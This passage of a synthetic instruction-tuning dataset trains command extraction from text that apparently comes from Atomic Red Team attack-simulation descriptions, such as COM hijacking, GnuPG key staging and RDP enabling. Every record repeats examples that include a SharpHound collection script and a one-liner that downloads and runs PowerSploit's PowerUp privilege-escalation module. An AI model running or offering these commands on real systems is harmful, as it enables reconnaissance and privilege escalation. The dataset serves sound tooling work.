`Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use the PowerShell to execute COM CLSID object.\nReference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.\n\nreference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.\n\n[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.\nThis atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).\nA successful execution will install a module into IIS using AppCmd.exe.\n[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe)\n[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry value of fDenyTSConnections to allow incoming RDP connections. \nThis activity has been observed by multiple ransomware groups, including Hive ransomware. \n[Reference](https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilize launchctl\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 